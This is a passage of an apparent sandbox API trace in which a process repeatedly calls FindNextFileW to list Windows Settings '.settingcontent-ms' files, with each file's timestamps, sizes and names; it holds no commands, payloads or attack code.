ftLastAccessTime.dwLowDateTime=0x26d8eaf6, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Language_Add_Profile.settingcontent-ms", cAlternateFileName="AAEB7A~1.SET")) returned 1 [0223.036] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x270b6864, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x270b6864, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x533, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Language_Installed_Profiles_Collection.settingcontent-ms", cAlternateFileName="AA8460~1.SET")) returned 1 [0223.037] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2797a518, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2797a518, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x238d127e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Language_Personal_Data_Control.settingcontent-ms", cAlternateFileName="AA83B4~1.SET")) returned 1 [0223.037] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27e76442, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x27e76442, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Language_Web_Content_Control.settingcontent-ms", cAlternateFileName="AA7819~1.SET")) returned 1 [0223.037] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x281e3bed, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x281e3bed, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Maps_DeleteAll.settingcontent-ms", cAlternateFileName="AA2E08~1.SET")) returned 1 [0223.037] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x283ad77e, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x283ad77e, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4df, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Maps_Download_Add_Package.settingcontent-ms", cAlternateFileName="AAAC5D~1.SET")) returned 1 [0223.038] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28bb96a4, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x28bb96a4, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Misc_ResetYourPC.settingcontent-ms", cAlternateFileName="AA578E~1.SET")) returned 1 [0223.038] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28cc4a7f, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x28cc4a7f, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x523, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Misc_RollbackYourPC_PreviewBuild.settingcontent-ms", cAlternateFileName="AA2327~1.SET")) returned 1 [0223.039] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28eb4661, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x28eb4661, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2339a047, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Misc_RollbackYourPC_Windows7.settingcontent-ms", cAlternateFileName="AABE84~1.SET")) returned 1 [0223.039] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x293271fb, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x293271fb, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Misc_RollbackYourPC_Windows8.settingcontent-ms", cAlternateFileName="AA1FF5~1.SET")) returned 1 [0223.040] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297795d1, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x297795d1, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Misc_RollbackYourPC_Windows8_1.settingcontent-ms", cAlternateFileName="AAC183~1.SET")) returned 1 [0223.040] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x299431b7, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x299431b7, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_MultiTasking_AeroSnapEnabled.settingcontent-ms", cAlternateFileName="AABC3F~1.SET")) returned 1 [0223.040] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b59691, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x29b59691, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x508, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_MultiTasking_JointResizeEnabled.settingcontent-ms", cAlternateFileName="AAB1AC~1.SET")) returned 1 [0223.040] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29ec688d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x29ec688d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x503, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_MultiTasking_SnapAssistEnabled.settingcontent-ms", cAlternateFileName="AA7060~1.SET")) returned 1 [0223.040] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a2120ec, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2a2120ec, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_MultiTasking_SnapFillEnabled.settingcontent-ms", cAlternateFileName="AA3E7E~1.SET")) returned 1 [0223.041] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a6602d6, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2a6602d6, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_MusUpdate_AdvancedSettingsLink.settingcontent-ms", cAlternateFileName="AA04EB~1.SET")) returned 1 [0223.041] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a934e01, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2a934e01, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2391d733, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_MusUpdate_UpdateActionButton.settingcontent-ms", cAlternateFileName="AA469D~1.SET")) returned 1 [0223.041] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aa7aff2, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2aa7aff2, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Notifications_PinnedQuickActions.settingcontent-ms", cAlternateFileName="AADDFE~1.SET")) returned 1 [0223.041] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2afba6bf, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2afba6bf, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x233c02ad, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Notifications_SelectIconsToAppearOnTaskbar.settingcontent-ms", cAlternateFileName="AAA6C3~1.SET")) returned 1 [0223.041] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b3c066a, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2b3c066a, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x520, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Notifications_ShowAppNotifications.settingcontent-ms", cAlternateFileName="AAE32A~1.SET")) returned 1 [0223.042] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b4f1999, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2b4f1999, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x516, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Notifications_SoftLandingEnabled.settingcontent-ms", cAlternateFileName="AAC020~1.SET")) returned 1 [0223.042] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b969f9e, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2b969f9e, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Notifications_SystemIcons.settingcontent-ms", cAlternateFileName="AAF88B~1.SET")) returned 1 [0223.042] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bbcc5d4, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2bbcc5d4, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_PCSystem_ActivateWindowsLicense.settingcontent-ms", cAlternateFileName="AA74A9~1.SET")) returned 1 [0223.042] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bde25fe, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2bde25fe, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_PCSystem_GetPCName.settingcontent-ms", cAlternateFileName="AAFFA7~1.SET")) returned 1 [0223.042] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c043349, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2c043349, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x238ab028, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_PCSystem_InstalledRamStatus.settingcontent-ms", cAlternateFileName="AAEEB2~1.SET")) returned 1 [0223.208] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c32594e, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2c32594e, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_PCSystem_JoinCloudDomain.settingcontent-ms", cAlternateFileName="AAB7CB~1.SET")) returned 1 [0223.209] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4a300e, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2c4a300e, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x238ab028, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_PCSystem_JoinDomain.settingcontent-ms", cAlternateFileName="AA7198~1.SET")) returned 1 [0223.209] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c79dfda, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2c79dfda, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_PCSystem_LeaveOrganization.settingcontent-ms", cAlternateFileName="AA516E~1.SET")) returned 1 [0223.209] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cc62cc6, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2cc62cc6, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_PCSystem_PenAndTouchStatus.settingcontent-ms", cAlternateFileName="AA0779~1.SET")) returned 1 [0223.209] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dad702f, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2dad702f, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_PCSystem_ProcessorStatus.settingcontent-ms", cAlternateFileName="AAA302~1.SET")) returned 1 [0223.210] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e9e3c3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2e9e3c3b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_PCSystem_ProductIdStatus.settingcontent-ms", cAlternateFileName="AA94BF~1.SET")) returned 1 [0223.210] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ed5138d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2ed5138d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_PCSystem_RenamePC.settingcontent-ms", cAlternateFileName="AADA5D~1.SET")) returned 1 [0223.210] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x306f2868, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x306f2868, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_PCSystem_SystemTypeStatus.settingcontent-ms", cAlternateFileName="AA9DA3~1.SET")) returned 1 [0223.210] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31160d5f, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x31160d5f, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Personalize_Background_ChooseBackground.settingcontent-ms", cAlternateFileName="AAA8A2~1.SET")) returned 1 [0223.210] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3170a66e, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3170a66e, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Personalize_Background_ChooseFit.settingcontent-ms", cAlternateFileName="AA99F9~1.SET")) returned 1 [0223.211] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31a77cfe, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x31a77cfe, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x512, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Personalize_Color_ColorPrevalence.settingcontent-ms", cAlternateFileName="AA5480~1.SET")) returned 1 [0223.211] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x328ec16f, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x328ec16f, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x521, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Personalize_Color_EnableTransparency.settingcontent-ms", cAlternateFileName="AA13E8~1.SET")) returned 1 [0223.211] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32f546a8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x32f546a8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Personalize_LockScreenAppsBadge.settingcontent-ms", cAlternateFileName="AA6C9E~1.SET")) returned 1 [0223.211] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x333a682b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x333a682b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Personalize_LockScreenAppsTile.settingcontent-ms", cAlternateFileName="AAD1E2~1.SET")) returned 1 [0223.212] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334d7c8a, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x334d7c8a, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x238d127e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x519, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Personalize_LockScreenBackground.settingcontent-ms", cAlternateFileName="AA5259~1.SET")) returned 1 [0223.212] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x336554be, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x336554be, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2339a047, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x54b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Personalize_LockScreenChooseBackgroundType.settingcontent-ms", cAlternateFileName="AA2361~2.SET")) returned 1 [0223.212] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a5b30a, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x33a5b30a, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Personalize_LockScreenSlideshowSource_CloudBrandName.settingcontent-ms", 